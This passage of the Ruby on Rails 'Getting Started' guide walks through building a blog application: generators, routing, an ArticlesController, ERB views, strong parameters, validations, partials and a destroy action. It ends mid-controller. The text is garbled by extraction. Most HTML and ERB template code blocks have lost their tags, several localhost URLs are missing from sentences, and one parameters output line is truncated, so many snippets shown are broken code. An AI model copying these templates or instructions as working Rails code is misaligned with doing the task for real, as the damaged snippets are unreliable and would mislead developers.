comes with a number of scripts called generators that are designed to make -your development life easier by creating everything that's necessary to start -working on a particular task. One of these is the new application generator, -which will provide you with the foundation of a fresh Rails application so that -you don't have to write it yourself. - -To use this generator, open a terminal, navigate to a directory where you have -rights to create files, and type: - -```bash -$ rails new blog -``` - -This will create a Rails application called Blog in a `blog` directory and -install the gem dependencies that are already mentioned in `Gemfile` using -`bundle install`. - -NOTE: If you're using Windows Subsystem for Linux then there are currently some -limitations on file system notifications that mean you should disable the `spring` -and `listen` gems which you can do by running `rails new blog --skip-spring --skip-listen`. - -TIP: You can see all of the command line options that the Rails application -builder accepts by running `rails new -h`. - -After you create the blog application, switch to its folder: - -```bash -$ cd blog -``` - -The `blog` directory has a number of auto-generated files and folders that make -up the structure of a Rails application. Most of the work in this tutorial will -happen in the `app` folder, but here's a basic rundown on the function of each -of the files and folders that Rails created by default: - -| File/Folder | Purpose | -| ----------- | ------- | -|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs and assets for your application. You'll focus on this folder for the remainder of this guide.| -|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.| -|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| -|config.ru|Rack configuration for Rack based servers used to start the application.| -|db/|Contains your current database schema, as well as the database migrations.| -|Gemfile
Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see the [Bundler website](http://bundler.io).| -|lib/|Extended modules for your application.| -|log/|Application log files.| -|public/|The only folder seen by the world as-is. Contains static files and compiled assets.| -|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| -|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| -|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).| -|tmp/|Temporary files (like cache and pid files).| -|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| -|.gitignore|This file tells git which files (or patterns) it should ignore. See [Github - Ignoring files](https://help.github.com/articles/ignoring-files) for more info about ignoring files. - -Hello, Rails! -------------- - -To begin with, let's get some text up on screen quickly. To do this, you need to -get your Rails application server running. - -### Starting up the Web Server - -You actually have a functional Rails application already. To see it, you need to -start a web server on your development machine. You can do this by running the -following in the `blog` directory: - -```bash -$ bin/rails server -``` - -TIP: If you are using Windows, you have to pass the scripts under the `bin` -folder directly to the Ruby interpreter e.g. `ruby bin\rails server`. - -TIP: Compiling CoffeeScript and JavaScript asset compression requires you -have a JavaScript runtime available on your system, in the absence -of a runtime you will see an `execjs` error during asset compilation. -Usually macOS and Windows come with a JavaScript runtime installed. -Rails adds the `therubyracer` gem to the generated `Gemfile` in a -commented line for new apps and you can uncomment if you need it. -`therubyrhino` is the recommended runtime for JRuby users and is added by -default to the `Gemfile` in apps generated under JRuby. You can investigate -all the supported runtimes at [ExecJS](https://github.com/rails/execjs#readme). - -This will fire up Puma, a web server distributed with Rails by default. To see -your application in action, open a browser window and navigate to -. You should see the Rails default information page: - -![Welcome aboard screenshot](images/getting_started/rails_welcome.png) - -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's -running. To verify the server has stopped you should see your command prompt -cursor again. For most UNIX-like systems including macOS this will be a -dollar sign `$`. In development mode, Rails does not generally require you to -restart the server; changes you make in files will be automatically picked up by -the server. - -The "Welcome aboard" page is the _smoke test_ for a new Rails application: it -makes sure that you have your software configured correctly enough to serve a -page. - -### Say "Hello", Rails - -To get Rails saying "Hello", you need to create at minimum a _controller_ and a -_view_. - -A controller's purpose is to receive specific requests for the application. -_Routing_ decides which controller receives which requests. Often, there is more -than one route to each controller, and different routes can be served by -different _actions_. Each action's purpose is to collect information to provide -it to a view. - -A view's purpose is to display this information in a human readable format. An -important distinction to make is that it is the _controller_, not the view, -where information is collected. The view should just display that information. -By default, view templates are written in a language called eRuby (Embedded -Ruby) which is processed by the request cycle in Rails before being sent to the -user. - -To create a new controller, you will need to run the "controller" generator and -tell it you want a controller called "Welcome" with an action called "index", -just like this: - -```bash -$ bin/rails generate controller Welcome index -``` - -Rails will create several files and a route for you. - -```bash -create app/controllers/welcome_controller.rb - route get 'welcome/index' -invoke erb -create app/views/welcome -create app/views/welcome/index.html.erb -invoke test_unit -create test/controllers/welcome_controller_test.rb -invoke helper -create app/helpers/welcome_helper.rb -invoke test_unit -invoke assets -invoke coffee -create app/assets/javascripts/welcome.coffee -invoke scss -create app/assets/stylesheets/welcome.scss -``` - -Most important of these are of course the controller, located at -`app/controllers/welcome_controller.rb` and the view, located at -`app/views/welcome/index.html.erb`. - -Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all -of the existing code in the file, and replace it with the following single line -of code: - -```html -

Hello, Rails!

-``` - -### Setting the Application Home Page - -Now that we have made the controller and view, we need to tell Rails when we -want "Hello, Rails!" to show up. In our case, we want it to show up when we -navigate to the root URL of our site, . At the moment, -"Welcome aboard" is occupying that spot. - -Next, you have to tell Rails where your actual home page is located. - -Open the file `config/routes.rb` in your editor. - -```ruby -Rails.application.routes.draw do - get 'welcome/index' - - # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html -end -``` - -This is your application's _routing file_ which holds entries in a special -[DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language) -that tells Rails how to connect incoming requests to -controllers and actions. -Edit this file by adding the line of code `root 'welcome#index'`. -It should look something like the following: - -```ruby -Rails.application.routes.draw do - get 'welcome/index' - - root 'welcome#index' -end -``` - -`root 'welcome#index'` tells Rails to map requests to the root of the -application to the welcome controller's index action and `get 'welcome/index'` -tells Rails to map requests to to the -welcome controller's index action. This was created earlier when you ran the -controller generator (`bin/rails generate controller Welcome index`). - -Launch the web server again if you stopped it to generate the controller (`bin/rails -server`) and navigate to in your browser. You'll see the -"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`, -indicating that this new route is indeed going to `WelcomeController`'s `index` -action and is rendering the view correctly. - -TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html). - -Getting Up and Running ----------------------- - -Now that you've seen how to create a controller, an action and a view, let's -create something with a bit more substance. - -In the Blog application, you will now create a new _resource_. A resource is the -term used for a collection of similar objects, such as articles, people or -animals. -You can create, read, update and destroy items for a resource and these -operations are referred to as _CRUD_ operations. - -Rails provides a `resources` method which can be used to declare a standard REST -resource. You need to add the _article resource_ to the -`config/routes.rb` so the file will look as follows: - -```ruby -Rails.application.routes.draw do - get 'welcome/index' - - resources :articles - - root 'welcome#index' -end -``` - -If you run `bin/rails routes`, you'll see that it has defined routes for all the -standard RESTful actions. The meaning of the prefix column (and other columns) -will be seen later, but for now notice that Rails has inferred the -singular form `article` and makes meaningful use of the distinction. - -```bash -$ bin/rails routes - Prefix Verb URI Pattern Controller#Action - articles GET /articles(.:format) articles#index - POST /articles(.:format) articles#create - new_article GET /articles/new(.:format) articles#new -edit_article GET /articles/:id/edit(.:format) articles#edit - article GET /articles/:id(.:format) articles#show - PATCH /articles/:id(.:format) articles#update - PUT /articles/:id(.:format) articles#update - DELETE /articles/:id(.:format) articles#destroy - root GET / welcome#index -``` - -In the next section, you will add the ability to create new articles in your -application and be able to view them. This is the "C" and the "R" from CRUD: -create and read. The form for doing this will look like this: - -![The new article form](images/getting_started/new_article.png) - -It will look a little basic for now, but that's ok. We'll look at improving the -styling for it afterwards. - -### Laying down the groundwork - -Firstly, you need a place within the application to create a new article. A -great place for that would be at `/articles/new`. With the route already -defined, requests can now be made to `/articles/new` in the application. -Navigate to and you'll see a routing -error: - -![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png) - -This error occurs because the route needs to have a controller defined in order -to serve the request. The solution to this particular problem is simple: create -a controller called `ArticlesController`. You can do this by running this -command: - -```bash -$ bin/rails generate controller Articles -``` - -If you open up the newly generated `app/controllers/articles_controller.rb` -you'll see a fairly empty controller: - -```ruby -class ArticlesController < ApplicationController -end -``` - -A controller is simply a class that is defined to inherit from -`ApplicationController`. -It's inside this class that you'll define methods that will become the actions -for this controller. These actions will perform CRUD operations on the articles -within our system. - -NOTE: There are `public`, `private` and `protected` methods in Ruby, -but only `public` methods can be actions for controllers. -For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). - -If you refresh now, you'll get a new error: - -![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png) - -This error indicates that Rails cannot find the `new` action inside the -`ArticlesController` that you just generated. This is because when controllers -are generated in Rails they are empty by default, unless you tell it -your desired actions during the generation process. - -To manually define an action inside a controller, all you need to do is to -define a new method inside the controller. Open -`app/controllers/articles_controller.rb` and inside the `ArticlesController` -class, define the `new` method so that your controller now looks like this: - -```ruby -class ArticlesController < ApplicationController - def new - end -end -``` - -With the `new` method defined in `ArticlesController`, if you refresh - you'll see another error: - -![Template is missing for articles/new] -(images/getting_started/template_is_missing_articles_new.png) - -You're getting this error now because Rails expects plain actions like this one -to have views associated with them to display their information. With no view -available, Rails will raise an exception. - -In the above image, the bottom line has been truncated. Let's see what the full -error message looks like: - ->ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you're loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we're showing an error to be extra-clear. If you expect 204 No Content, carry on. That's what you'll get from an XHR or API request. Give it a shot. - -That's quite a lot of text! Let's quickly go through and understand what each -part of it means. - -The first part identifies which template is missing. In this case, it's the -`articles/new` template. Rails will first look for this template. If not found, -then it will attempt to load a template called `application/new`. It looks for -one here because the `ArticlesController` inherits from `ApplicationController`. - -The next part of the message contains `request.formats` which specifies -the format of template to be served in response. It is set to `text/html` as we -requested this page via browser, so Rails is looking for an HTML template. -`request.variant` specifies what kind of physical devices would be served by -the response and helps Rails determine which template to use in the response. -It is empty because no information has been provided. - -The simplest template that would work in this case would be one located at -`app/views/articles/new.html.erb`. The extension of this file name is important: -the first extension is the _format_ of the template, and the second extension -is the _handler_ that will be used to render the template. Rails is attempting -to find a template called `articles/new` within `app/views` for the -application. The format for this template can only be `html` and the default -handler for HTML is `erb`. Rails uses other handlers for other formats. -`builder` handler is used to build XML templates and `coffee` handler uses -CoffeeScript to build JavaScript templates. Since you want to create a new -HTML form, you will be using the `ERB` language which is designed to embed Ruby -in HTML. - -Therefore the file should be called `articles/new.html.erb` and needs to be -located inside the `app/views` directory of the application. - -Go ahead now and create a new file at `app/views/articles/new.html.erb` and -write this content in it: - -```html -

New Article

-``` - -When you refresh you'll now see that the -page has a title. The route, controller, action and view are now working -harmoniously! It's time to create the form for a new article. - -### The first form - -To create a form within this template, you will use a *form -builder*. The primary form builder for Rails is provided by a helper -method called `form_for`. To use this method, add this code into -`app/views/articles/new.html.erb`: - -```html+erb -<%= form_for :article do |f| %> -

- <%= f.label :title %>
- <%= f.text_field :title %> -

- -

- <%= f.label :text %>
- <%= f.text_area :text %> -

- -

- <%= f.submit %> -

-<% end %> -``` - -If you refresh the page now, you'll see the exact same form from our example above. -Building forms in Rails is really just that easy! - -When you call `form_for`, you pass it an identifying object for this -form. In this case, it's the symbol `:article`. This tells the `form_for` -helper what this form is for. Inside the block for this method, the -`FormBuilder` object - represented by `f` - is used to build two labels and two -text fields, one each for the title and text of an article. Finally, a call to -`submit` on the `f` object will create a submit button for the form. - -There's one problem with this form though. If you inspect the HTML that is -generated, by viewing the source of the page, you will see that the `action` -attribute for the form is pointing at `/articles/new`. This is a problem because -this route goes to the very page that you're on right at the moment, and that -route should only be used to display the form for a new article. - -The form needs to use a different URL in order to go somewhere else. -This can be done quite simply with the `:url` option of `form_for`. -Typically in Rails, the action that is used for new form submissions -like this is called "create", and so the form should be pointed to that action. - -Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like -this: - -```html+erb -<%= form_for :article, url: articles_path do |f| %> -``` - -In this example, the `articles_path` helper is passed to the `:url` option. -To see what Rails will do with this, we look back at the output of -`bin/rails routes`: - -```bash -$ bin/rails routes - Prefix Verb URI Pattern Controller#Action - articles GET /articles(.:format) articles#index - POST /articles(.:format) articles#create - new_article GET /articles/new(.:format) articles#new -edit_article GET /articles/:id/edit(.:format) articles#edit - article GET /articles/:id(.:format) articles#show - PATCH /articles/:id(.:format) articles#update - PUT /articles/:id(.:format) articles#update - DELETE /articles/:id(.:format) articles#destroy - root GET / welcome#index -``` - -The `articles_path` helper tells Rails to point the form to the URI Pattern -associated with the `articles` prefix; and the form will (by default) send a -`POST` request to that route. This is associated with the `create` action of -the current controller, the `ArticlesController`. - -With the form and its associated route defined, you will be able to fill in the -form and then click the submit button to begin the process of creating a new -article, so go ahead and do that. When you submit the form, you should see a -familiar error: - -![Unknown action create for ArticlesController] -(images/getting_started/unknown_action_create_for_articles.png) - -You now need to create the `create` action within the `ArticlesController` for -this to work. - -### Creating articles - -To make the "Unknown action" go away, you can define a `create` action within -the `ArticlesController` class in `app/controllers/articles_controller.rb`, -underneath the `new` action, as shown: - -```ruby -class ArticlesController < ApplicationController - def new - end - - def create - end -end -``` - -If you re-submit the form now, you may not see any change on the page. Don't worry! -This is because Rails by default returns `204 No Content` response for an action if -we don't specify what the response should be. We just added the `create` action -but didn't specify anything about how the response should be. In this case, the -`create` action should save our new article to the database. - -When a form is submitted, the fields of the form are sent to Rails as -_parameters_. These parameters can then be referenced inside the controller -actions, typically to perform a particular task. To see what these parameters -look like, change the `create` action to this: - -```ruby -def create - render plain: params[:article].inspect -end -``` - -The `render` method here is taking a very simple hash with a key of `:plain` and -value of `params[:article].inspect`. The `params` method is the object which -represents the parameters (or fields) coming in from the form. The `params` -method returns an `ActionController::Parameters` object, which -allows you to access the keys of the hash using either strings or symbols. In -this situation, the only parameters that matter are the ones from the form. - -TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com". - -If you re-submit the form one more time, you'll see something that looks like the following: - -```ruby -"First Article!", "text"=>"This is my first article."} permitted: false> -``` - -This action is now displaying the parameters for the article that are coming in -from the form. However, this isn't really all that helpful. Yes, you can see the -parameters but nothing in particular is being done with them. - -### Creating the Article model - -Models in Rails use a singular name, and their corresponding database tables -use a plural name. Rails provides a generator for creating models, which most -Rails developers tend to use when creating new models. To create the new model, -run this command in your terminal: - -```bash -$ bin/rails generate model Article title:string text:text -``` - -With that command we told Rails that we want an `Article` model, together -with a _title_ attribute of type string, and a _text_ attribute -of type text. Those attributes are automatically added to the `articles` -table in the database and mapped to the `Article` model. - -Rails responded by creating a bunch of files. For now, we're only interested -in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb` -(your name could be a bit different). The latter is responsible for creating -the database structure, which is what we'll look at next. - -TIP: Active Record is smart enough to automatically map column names to model -attributes, which means you don't have to declare attributes inside Rails -models, as that will be done automatically by Active Record. - -### Running a Migration - -As we've just seen, `bin/rails generate model` created a _database migration_ file -inside the `db/migrate` directory. Migrations are Ruby classes that are -designed to make it simple to create and modify database tables. Rails uses -rake commands to run migrations, and it's possible to undo a migration after -it's been applied to your database. Migration filenames include a timestamp to -ensure that they're processed in the order that they were created. - -If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file -(remember, yours will have a slightly different name), here's what you'll find: - -```ruby -class CreateArticles < ActiveRecord::Migration[5.0] - def change - create_table :articles do |t| - t.string :title - t.text :text - - t.timestamps - end - end -end -``` - -The above migration creates a method named `change` which will be called when -you run this migration. The action defined in this method is also reversible, -which means Rails knows how to reverse the change made by this migration, -in case you want to reverse it later. When you run this migration it will create -an `articles` table with one string column and a text column. It also creates -two timestamp fields to allow Rails to track article creation and update times. - -TIP: For more information about migrations, refer to [Active Record Migrations] -(active_record_migrations.html). - -At this point, you can use a bin/rails command to run the migration: - -```bash -$ bin/rails db:migrate -``` - -Rails will execute this migration command and tell you it created the Articles -table. - -```bash -== CreateArticles: migrating ================================================== --- create_table(:articles) - -> 0.0019s -== CreateArticles: migrated (0.0020s) ========================================= -``` - -NOTE. Because you're working in the development environment by default, this -command will apply to the database defined in the `development` section of your -`config/database.yml` file. If you would like to execute migrations in another -environment, for instance in production, you must explicitly pass it when -invoking the command: `bin/rails db:migrate RAILS_ENV=production`. - -### Saving data in the controller - -Back in `ArticlesController`, we need to change the `create` action -to use the new `Article` model to save the data in the database. -Open `app/controllers/articles_controller.rb` and change the `create` action to -look like this: - -```ruby -def create - @article = Article.new(params[:article]) - - @article.save - redirect_to @article -end -``` - -Here's what's going on: every Rails model can be initialized with its -respective attributes, which are automatically mapped to the respective -database columns. In the first line we do just that (remember that -`params[:article]` contains the attributes we're interested in). Then, -`@article.save` is responsible for saving the model in the database. Finally, -we redirect the user to the `show` action, which we'll define later. - -TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter. - -TIP: As we'll see later, `@article.save` returns a boolean indicating whether -the article was saved or not. - -If you now go to you'll *almost* be able -to create an article. Try it! You should get an error that looks like this: - -![Forbidden attributes for new article] -(images/getting_started/forbidden_attributes_for_new_article.png) - -Rails has several security features that help you write secure applications, -and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters), -which requires us to tell Rails exactly which parameters are allowed into our -controller actions. - -Why do you have to bother? The ability to grab and automatically assign all -controller parameters to your model in one shot makes the programmer's job -easier, but this convenience also allows malicious use. What if a request to -the server was crafted to look like a new article form submit but also included -extra fields with values that violated your application's integrity? They would -be 'mass assigned' into your model and then into the database along with the -good stuff - potentially breaking your application or worse. - -We have to whitelist our controller parameters to prevent wrongful mass -assignment. In this case, we want to both allow and require the `title` and -`text` parameters for valid use of `create`. The syntax for this introduces -`require` and `permit`. The change will involve one line in the `create` action: - -```ruby - @article = Article.new(params.require(:article).permit(:title, :text)) -``` - -This is often factored out into its own method so it can be reused by multiple -actions in the same controller, for example `create` and `update`. Above and -beyond mass assignment issues, the method is often made `private` to make sure -it can't be called outside its intended context. Here is the result: - -```ruby -def create - @article = Article.new(article_params) - - @article.save - redirect_to @article -end - -private - def article_params - params.require(:article).permit(:title, :text) - end -``` - -TIP: For more information, refer to the reference above and -[this blog article about Strong Parameters] -(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/). - -### Showing Articles - -If you submit the form again now, Rails will complain about not finding the -`show` action. That's not very useful though, so let's add the `show` action -before proceeding. - -As we have seen in the output of `bin/rails routes`, the route for `show` action is -as follows: - -``` -article GET /articles/:id(.:format) articles#show -``` - -The special syntax `:id` tells rails that this route expects an `:id` -parameter, which in our case will be the id of the article. - -As we did before, we need to add the `show` action in -`app/controllers/articles_controller.rb` and its respective view. - -NOTE: A frequent practice is to place the standard CRUD actions in each -controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update` -and `destroy`. You may use any order you choose, but keep in mind that these -are public methods; as mentioned earlier in this guide, they must be placed -before declaring `private` visibility in the controller. - -Given that, let's add the `show` action, as follows: - -```ruby -class ArticlesController < ApplicationController - def show - @article = Article.find(params[:id]) - end - - def new - end - - # snippet for brevity -``` - -A couple of things to note. We use `Article.find` to find the article we're -interested in, passing in `params[:id]` to get the `:id` parameter from the -request. We also use an instance variable (prefixed with `@`) to hold a -reference to the article object. We do this because Rails will pass all instance -variables to the view. - -Now, create a new file `app/views/articles/show.html.erb` with the following -content: - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

-``` - -With this change, you should finally be able to create new articles. -Visit and give it a try! - -![Show action for articles](images/getting_started/show_action_for_articles.png) - -### Listing all articles - -We still need a way to list all our articles, so let's do that. -The route for this as per output of `bin/rails routes` is: - -``` -articles GET /articles(.:format) articles#index -``` - -Add the corresponding `index` action for that route inside the -`ArticlesController` in the `app/controllers/articles_controller.rb` file. -When we write an `index` action, the usual practice is to place it as the -first method in the controller. Let's do it: - -```ruby -class ArticlesController < ApplicationController - def index - @articles = Article.all - end - - def show - @article = Article.find(params[:id]) - end - - def new - end - - # snippet for brevity -``` - -And then finally, add the view for this action, located at -`app/views/articles/index.html.erb`: - -```html+erb -

Listing articles

- - - - - - - - <% @articles.each do |article| %> - - - - - - <% end %> -
TitleText
<%= article.title %><%= article.text %><%= link_to 'Show', article_path(article) %>
-``` - -Now if you go to you will see a list of all the -articles that you have created. - -### Adding links - -You can now create, show, and list articles. Now let's add some links to -navigate through pages. - -Open `app/views/welcome/index.html.erb` and modify it as follows: - -```html+erb -

Hello, Rails!

-<%= link_to 'My Blog', controller: 'articles' %> -``` - -The `link_to` method is one of Rails' built-in view helpers. It creates a -hyperlink based on text to display and where to go - in this case, to the path -for articles. - -Let's add links to the other views as well, starting with adding this -"New Article" link to `app/views/articles/index.html.erb`, placing it above the -`` tag: - -```erb -<%= link_to 'New article', new_article_path %> -``` - -This link will allow you to bring up the form that lets you create a new article. - -Now, add another link in `app/views/articles/new.html.erb`, underneath the -form, to go back to the `index` action: - -```erb -<%= form_for :article, url: articles_path do |f| %> - ... -<% end %> - -<%= link_to 'Back', articles_path %> -``` - -Finally, add a link to the `app/views/articles/show.html.erb` template to -go back to the `index` action as well, so that people who are viewing a single -article can go back and view the whole list again: - -```html+erb -

- Title: - <%= @article.title %> -

- -

- Text: - <%= @article.text %> -

- -<%= link_to 'Back', articles_path %> -``` - -TIP: If you want to link to an action in the same controller, you don't need to -specify the `:controller` option, as Rails will use the current controller by -default. - -TIP: In development mode (which is what you're working in by default), Rails -reloads your application with every browser request, so there's no need to stop -and restart the web server when a change is made. - -### Adding Some Validation - -The model file, `app/models/article.rb` is about as simple as it can get: - -```ruby -class Article < ApplicationRecord -end -``` - -There isn't much to this file - but note that the `Article` class inherits from -`ApplicationRecord`. `ApplicationRecord` inherits from `ActiveRecord::Base` -which supplies a great deal of functionality to your Rails models for free, -including basic database CRUD (Create, Read, Update, Destroy) operations, data -validation, as well as sophisticated search support and the ability to relate -multiple models to one another. - -Rails includes methods to help you validate the data that you send to models. -Open the `app/models/article.rb` file and edit it: - -```ruby -class Article < ApplicationRecord - validates :title, presence: true, - length: { minimum: 5 } -end -``` - -These changes will ensure that all articles have a title that is at least five -characters long. Rails can validate a variety of conditions in a model, -including the presence or uniqueness of columns, their format, and the -existence of associated objects. Validations are covered in detail in [Active -Record Validations](active_record_validations.html). - -With the validation now in place, when you call `@article.save` on an invalid -article, it will return `false`. If you open -`app/controllers/articles_controller.rb` again, you'll notice that we don't -check the result of calling `@article.save` inside the `create` action. -If `@article.save` fails in this situation, we need to show the form back to the -user. To do this, change the `new` and `create` actions inside -`app/controllers/articles_controller.rb` to these: - -```ruby -def new - @article = Article.new -end - -def create - @article = Article.new(article_params) - - if @article.save - redirect_to @article - else - render 'new' - end -end - -private - def article_params - params.require(:article).permit(:title, :text) - end -``` - -The `new` action is now creating a new instance variable called `@article`, and -you'll see why that is in just a few moments. - -Notice that inside the `create` action we use `render` instead of `redirect_to` -when `save` returns `false`. The `render` method is used so that the `@article` -object is passed back to the `new` template when it is rendered. This rendering -is done within the same request as the form submission, whereas the -`redirect_to` will tell the browser to issue another request. - -If you reload - and -try to save an article without a title, Rails will send you back to the -form, but that's not very useful. You need to tell the user that -something went wrong. To do that, you'll modify -`app/views/articles/new.html.erb` to check for error messages: - -```html+erb -<%= form_for :article, url: articles_path do |f| %> - - <% if @article.errors.any? %> -
-

- <%= pluralize(@article.errors.count, "error") %> prohibited - this article from being saved: -

-
    - <% @article.errors.full_messages.each do |msg| %> -
  • <%= msg %>
  • - <% end %> -
-
- <% end %> - -

- <%= f.label :title %>
- <%= f.text_field :title %> -

- -

- <%= f.label :text %>
- <%= f.text_area :text %> -

- -

- <%= f.submit %> -

- -<% end %> - -<%= link_to 'Back', articles_path %> -``` - -A few things are going on. We check if there are any errors with -`@article.errors.any?`, and in that case we show a list of all -errors with `@article.errors.full_messages`. - -`pluralize` is a rails helper that takes a number and a string as its -arguments. If the number is greater than one, the string will be automatically -pluralized. - -The reason why we added `@article = Article.new` in the `ArticlesController` is -that otherwise `@article` would be `nil` in our view, and calling -`@article.errors.any?` would throw an error. - -TIP: Rails automatically wraps fields that contain an error with a div -with class `field_with_errors`. You can define a css rule to make them -standout. - -Now you'll get a nice error message when saving an article without title when -you attempt to do just that on the new article form -: - -![Form With Errors](images/getting_started/form_with_errors.png) - -### Updating Articles - -We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating -articles. - -The first step we'll take is adding an `edit` action to the `ArticlesController`, -generally between the `new` and `create` actions, as shown: - -```ruby -def new - @article = Article.new -end - -def edit - @article = Article.find(params[:id]) -end - -def create - @article = Article.new(article_params) - - if @article.save - redirect_to @article - else - render 'new' - end -end -``` - -The view will contain a form similar to the one we used when creating -new articles. Create a file called `app/views/articles/edit.html.erb` and make -it look as follows: - -```html+erb -

Edit article

- -<%= form_for(@article) do |f| %> - - <% if @article.errors.any? %> -
-

- <%= pluralize(@article.errors.count, "error") %> prohibited - this article from being saved: -

-
    - <% @article.errors.full_messages.each do |msg| %> -
  • <%= msg %>
  • - <% end %> -
-
- <% end %> - -

- <%= f.label :title %>
- <%= f.text_field :title %> -

- -

- <%= f.label :text %>
- <%= f.text_area :text %> -

- -

- <%= f.submit %> -

- -<% end %> - -<%= link_to 'Back', articles_path %> -``` - -This time we point the form to the `update` action, which is not defined yet -but will be very soon. - -Passing the article object to the method, will automagically create url for submitting the edited article form. -This option tells Rails that we want this form to be submitted -via the `PATCH` HTTP method which is the HTTP method you're expected to use to -**update** resources according to the REST protocol. - -The first parameter of `form_for` can be an object, say, `@article` which would -cause the helper to fill in the form with the fields of the object. Passing in a -symbol (`:article`) with the same name as the instance variable (`@article`) -also automagically leads to the same behavior. -More details can be found in [form_for documentation] -(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for). - -Next, we need to create the `update` action in -`app/controllers/articles_controller.rb`. -Add it between the `create` action and the `private` method: - -```ruby -def create - @article = Article.new(article_params) - - if @article.save - redirect_to @article - else - render 'new' - end -end - -def update - @article = Article.find(params[:id]) - - if @article.update(article_params) - redirect_to @article - else - render 'edit' - end -end - -private - def article_params - params.require(:article).permit(:title, :text) - end -``` - -The new method, `update`, is used when you want to update a record -that already exists, and it accepts a hash containing the attributes -that you want to update. As before, if there was an error updating the -article we want to show the form back to the user. - -We reuse the `article_params` method that we defined earlier for the create -action. - -TIP: It is not necessary to pass all the attributes to `update`. For example, -if `@article.update(title: 'A new title')` was called, Rails would only update -the `title` attribute, leaving all other attributes untouched. - -Finally, we want to show a link to the `edit` action in the list of all the -articles, so let's add that now to `app/views/articles/index.html.erb` to make -it appear next to the "Show" link: - -```html+erb -
- - - - - - - <% @articles.each do |article| %> - - - - - - - <% end %> -
TitleText
<%= article.title %><%= article.text %><%= link_to 'Show', article_path(article) %><%= link_to 'Edit', edit_article_path(article) %>
-``` - -And we'll also add one to the `app/views/articles/show.html.erb` template as -well, so that there's also an "Edit" link on an article's page. Add this at the -bottom of the template: - -```html+erb -... - -<%= link_to 'Edit', edit_article_path(@article) %> | -<%= link_to 'Back', articles_path %> -``` - -And here's how our app looks so far: - -![Index action with edit link](images/getting_started/index_action_with_edit_link.png) - -### Using partials to clean up duplication in views - -Our `edit` page looks very similar to the `new` page; in fact, they -both share the same code for displaying the form. Let's remove this -duplication by using a view partial. By convention, partial files are -prefixed with an underscore. - -TIP: You can read more about partials in the -[Layouts and Rendering in Rails](layouts_and_rendering.html) guide. - -Create a new file `app/views/articles/_form.html.erb` with the following -content: - -```html+erb -<%= form_for @article do |f| %> - - <% if @article.errors.any? %> -
-

- <%= pluralize(@article.errors.count, "error") %> prohibited - this article from being saved: -

-
    - <% @article.errors.full_messages.each do |msg| %> -
  • <%= msg %>
  • - <% end %> -
-
- <% end %> - -

- <%= f.label :title %>
- <%= f.text_field :title %> -

- -

- <%= f.label :text %>
- <%= f.text_area :text %> -

- -

- <%= f.submit %> -

- -<% end %> -``` - -Everything except for the `form_for` declaration remained the same. -The reason we can use this shorter, simpler `form_for` declaration -to stand in for either of the other forms is that `@article` is a *resource* -corresponding to a full set of RESTful routes, and Rails is able to infer -which URI and method to use. -For more information about this use of `form_for`, see [Resource-oriented style] -(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style). - -Now, let's update the `app/views/articles/new.html.erb` view to use this new -partial, rewriting it completely: - -```html+erb -

New article

- -<%= render 'form' %> - -<%= link_to 'Back', articles_path %> -``` - -Then do the same for the `app/views/articles/edit.html.erb` view: - -```html+erb -

Edit article

- -<%= render 'form' %> - -<%= link_to 'Back', articles_path %> -``` - -### Deleting Articles - -We're now ready to cover the "D" part of CRUD, deleting articles from the -database. Following the REST convention, the route for -deleting articles as per output of `bin/rails routes` is: - -```ruby -DELETE /articles/:id(.:format) articles#destroy -``` - -The `delete` routing method should be used for routes that destroy -resources. If this was left as a typical `get` route, it could be possible for -people to craft malicious URLs like this: - -```html -look at this cat! -``` - -We use the `delete` method for destroying resources, and this route is mapped -to the `destroy` action inside `app/controllers/articles_controller.rb`, which -doesn't exist yet. The `destroy` method is generally the last CRUD action in -the controller, and like the other public CRUD actions, it must be placed -before any `private` or `protected` methods. Let's add it: - -```ruby -def destroy - @article = Article.find(params[:id]) - @article.destroy - - redirect_to articles_path -end -``` - -The complete `ArticlesController` in the -`app/controllers/articles_controller.rb` file should now look like this: - -```ruby -class ArticlesController < ApplicationController - def index - @articles = Article.all - end - - def show - @article = Article.find(params[:id]) - end - - def new - @article = Article.new - end - - def edit - @article = Article.find(params[:id]) - end 